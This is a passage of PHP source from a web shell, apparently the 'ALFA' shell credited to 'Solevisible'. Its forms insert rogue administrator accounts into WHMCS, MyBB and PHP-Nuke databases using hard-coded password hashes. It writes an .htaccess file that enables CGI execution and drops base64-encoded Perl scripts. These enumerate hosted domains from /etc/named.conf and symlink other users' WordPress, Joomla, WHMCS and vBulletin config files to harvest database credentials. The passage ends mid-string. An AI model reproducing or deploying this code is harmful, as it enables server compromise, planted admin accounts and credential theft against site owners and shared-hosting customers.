2153echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> ";
2154}
2155}
2156}
2157if ($_POST['alfa6'] && $_POST['alfa6'] == 'whmcs'){
2158echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
2159<b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">
2160<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Whmcs</font><font color="#FFFF01"> ==</font></b>
2161<p><table border=1>
2162<tr><td><font color=#FFFFFF> host :</td>
2163<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
2164<tr><td><font color=#FFFFFF>database: </td>
2165<td><INPUT size="30" value="" name="database" type="text"></td></tr>
2166<tr><td><font color=#FFFFFF>username : </td>
2167<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
2168<tr><td><font color=#FFFFFF>password : </td>
2169<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
2170<tr><td><font color=#FF0000>Admin username:</td>
2171<td><INPUT name="admin" size="30" value="admin"></td></tr>
2172<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
2173<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
2174<tr><td><font color=#FF0000>Admin Email:</td>
2175<td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
2176</table>
2177<INPUT value=">>" name="send" type="submit">
2178</FORM></center></b>';
2179if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
2180$localhost = $_POST['alfa2'];
2181$database = $_POST['alfa3'];
2182$username = $_POST['alfa4'];
2183$password = $_POST['alfa5'];
2184$admin = $_POST['alfa8'];
2185$SQL = $_POST['alfa9'];
2186@mysql_connect($localhost,$username,$password) or die(mysql_error());
2187@mysql_select_db($database) or die(mysql_error());
2188$solevisible=@mysql_query("insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysql_error());
2189if($solevisible){
2190echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
2191}
2192}
2193if ($_POST['alfa7'] && $_POST['alfa7'] == 'mybb'){
2194echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa8_=alfa9_=alfa10_=""</script>
2195<b><center><FORM onsubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">
2196<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Mybb</font><font color="#FFFF01"> ==</font></b>
2197<p><table border=1>
2198<tr><td><font color=#FFFFFF> host :</td>
2199<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
2200<tr><td><font color=#FFFFFF>database: </td>
2201<td><INPUT size="30" value="" name="database" type="text"></td></tr>
2202<tr><td><font color=#FFFFFF>Table Prefix :</td>
2203<td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
2204<tr><td><font color=#FFFFFF>username : </td>
2205<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
2206<tr><td><font color=#FFFFFF>password : </td>
2207<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
2208<tr><td><font color=#FF0000>Admin username:</td>
2209<td><INPUT name="admin" size="30" value="admin"></td></tr>
2210<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
2211<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
2212<tr><td><font color=#FF0000>Admin Email:</td>
2213<td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
2214</table>
2215<INPUT value=">>" name="send" type="submit">
2216</FORM></center></b>';
2217if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
2218$localhost = $_POST['alfa2'];
2219$database = $_POST['alfa3'];
2220$username = $_POST['alfa4'];
2221$password = $_POST['alfa5'];
2222$admin = $_POST['alfa8'];
2223$SQL = $_POST['alfa9'];
2224$prefix = $_POST['alfa10'];
2225@mysql_connect($localhost,$username,$password) or die(mysql_error());
2226@mysql_select_db($database) or die(mysql_error());
2227$solevisible=@mysql_query("insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysql_error());
2228if($solevisible){
2229echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
2230}
2231}
2232if ($_POST['alfa8'] && $_POST['alfa8'] == 'nuke'){
2233echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa9_=alfa10_=""</script>
2234<b><center><FORM onsubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">
2235<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">PhpNuke</font><font color="#FFFF01"> ==</font></b>
2236<p><table border=1>
2237<tr><td><font color=#FFFFFF> host :</td>
2238<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
2239<tr><td><font color=#FFFFFF>database: </td>
2240<td><INPUT size="30" value="" name="database" type="text"></td></tr>
2241<tr><td><font color=#FFFFFF>Table Prefix :</td>
2242<td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
2243<tr><td><font color=#FFFFFF>username : </td>
2244<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
2245<tr><td><font color=#FFFFFF>password : </td>
2246<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
2247<tr><td><font color=#FF0000>Admin username:</td>
2248<td><INPUT name="admin" size="30" value="admin"></td></tr>
2249<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
2250<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
2251<tr><td><font color=#FF0000>Admin Email:</td>
2252<td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
2253</table>
2254<INPUT value=">>" name="send" type="submit">
2255</FORM></center></b>';
2256if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
2257$localhost = $_POST['alfa2'];
2258$database = $_POST['alfa3'];
2259$username = $_POST['alfa4'];
2260$password = $_POST['alfa5'];
2261$admin = $_POST['alfa7'];
2262$SQL = $_POST['alfa9'];
2263$prefix = $_POST['alfa10'];
2264@mysql_connect($localhost,$username,$password) or die(mysql_error());
2265@mysql_select_db($database) or die(mysql_error());
2266$hash = md5($pwd);
2267$solevisible=@mysql_query("insert into ".prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysql_error());
2268if($solevisible){
2269echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> ";
2270}
2271}
2272}
2273echo "</div>";
2274alfafooter();
2275}
2276function alfasymlink()
2277{
2278alfahead();
2279$solevisible8 = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2280$solevisible55=explode('/',$solevisible8 );
2281$solevisible8 =str_replace($solevisible55[count($solevisible55)-1],'',$solevisible8 );
2282echo '<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_="";</script><center><h3><span>| Symlink |</span></h3><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains(Cpanel) | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Symlink(Cpanel) | </a><a href=# onclick="g(\'symlink\',null,null,null,null,null,null,\'direct\')">| Whole Symlink(Direct-Admin) | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,null,null,\'cfucker\')">| Config Fucker | </a></h3></center>';
2283if(isset($_POST['alfa8']) && $_POST['alfa8']=='userpl')
2284{
2285mkdir('userpl',0755);
2286chdir('userpl');
2287$solevisible7 = '.htaccess';
2288$solevisible6 = "$solevisible7";
2289$solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
2290$solevisible5 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
2291AddType application/x-httpd-cgi .alfa
2292AddHandler cgi-script .alfa
2293AddHandler cgi-script .alfa';
2294fwrite ( $solevisible4 ,$solevisible5 ) ;
2295fclose ($solevisible4);
2296$solevisible3 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPi46OlNvbGV2c2libGUgR0VULVVzZXImZG9tYWluIFNoZWxsZXI6Oi48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5uZXdTdHlsZTEgew0KIGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQogZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsNCiBmb250LXNpemU6IGxhcmdlOw0KIGZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KDQoNCg0KDQoNCi5zdHlsZTEgew0KIHRleHQtYWxpZ246IGNlbnRlcjsNCiBjb2xvcjojZmZmZmZmOw0KdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJLW1vei10cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlLW91dDstby10cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlLW91dDstd2Via2l0LXRyYW5zaXRpb246IGFsbCAwLjNzIGVhc2Utb3V0O3RyYW5zaXRpb246IGFsbCAwLjNzIGVhc2Utb3V0DQoNCn0NCi5zdHlsZTE6aG92ZXIgew0KIHRleHQtYWxpZ246IGNlbnRlcjsNCiBjb2xvcjojZmYwMDAwOw0KdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQp9DQoNCg0KPC9zdHlsZT4NCjwvaGVhZD4NCg0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSI+DQoNCg0KDQonOw0Kb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCkBrciA9IDxkMG1haW5zPjsNCmNsb3NlIGQwbWFpbnM7DQppZiAoJGVycil7DQpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQpkaWUoKTsNCn1lbHNlew0KcHJpbnQgJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4NCjxwIGNsYXNzPSJzdHlsZTEiPjxiPjxiaWc+PGZvbnQgY29sb3I9InJlZCI+Q29kZWQgQnkgPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+U29sZSBTYWQgJiBJbnZpc2libGU8L2ZvbnQ+PC9iPjwvYmlnPjxicj48YnI+IDxmb250IGNvbG9yPSJyZWQiPjxiPjxiaWc+Q29udGFjdCA6IDwvYj48L2JpZz48L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj48YmlnPnNvbGV2aXNpYmxlQGdtYWlsLmNvbTwvYj48L2JpZz48L2ZvbnQ+PGJyPjxicj48Zm9udCBjb2xvcj0iZ29sZCI+SGVyZSBJcyBBbGwgRG9taW5zICYgVXNlcnMgOjwvZm9udD48L3A+DQonO30NCmZvcmVhY2ggbXkgJG9uZSAoQGtyKQ0Kew0KaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7DQokZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJDE7DQokb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQpwcmludCAnPHAgY2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4NCic7DQp9DQp9DQpwcmludCc8L2JvZHk+PC9odG1sPic7';
2297$solevisible1 = fopen('user.alfa','w+');
2298$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
2299fclose($solevisible1);
2300chmod('user.alfa',0755);
2301echo '<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><iframe src=userpl/user.alfa width=100% height=600px frameborder=0></iframe> ';
2302}
2303if(isset($_POST['alfa5']) && $_POST['alfa5']=='cfucker')
2304{
2305mkdir('alfaconfig',0755);
2306chdir('alfaconfig');
2307$solevisible7 = '.htaccess';
2308$solevisible6 = "$solevisible7";
2309$solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
2310$solevisible5 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
2311AddType application/x-httpd-cgi .alfa
2312AddHandler cgi-script .alfa
2313AddHandler cgi-script .alfa';
2314fwrite ( $solevisible4 ,$solevisible5 ) ;
2315fclose ($solevisible4);
2316$solevisible3 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Tb2xldmlzaWJsZSBDb25maWcgRnVja2VyPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQouc29sZXZpc2libGUgew0KICAgIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogICAgZm9udC1zaXplOiAxNHB4Ow0KICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgIGNvbG9yOiAjMzMzM2ZmOw0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICB0ZXh0LXNoYWRvdzogYmxhY2sgMHB4IDBweCAycHg7DQp9DQojY2hlY2tvdXR0ZXh0YXJlYSB7DQoNCiAgd2Via2l0LWJvcmRlci1yYWRpdXM6IDE1cHg7DQoNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3Atc2hvcHBpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21lbWJlcnMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1mb3J1bS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1mb3J1bXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV1AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd3AtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1wcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9Xb3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLXdwLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywka29sYS4nLXdwLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3Atc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictMTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1wcm90YWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvby50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW1haW4udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIzL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictaW5jbHVkZXMtdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLWNlbnRyYWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobWMtV0hNLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3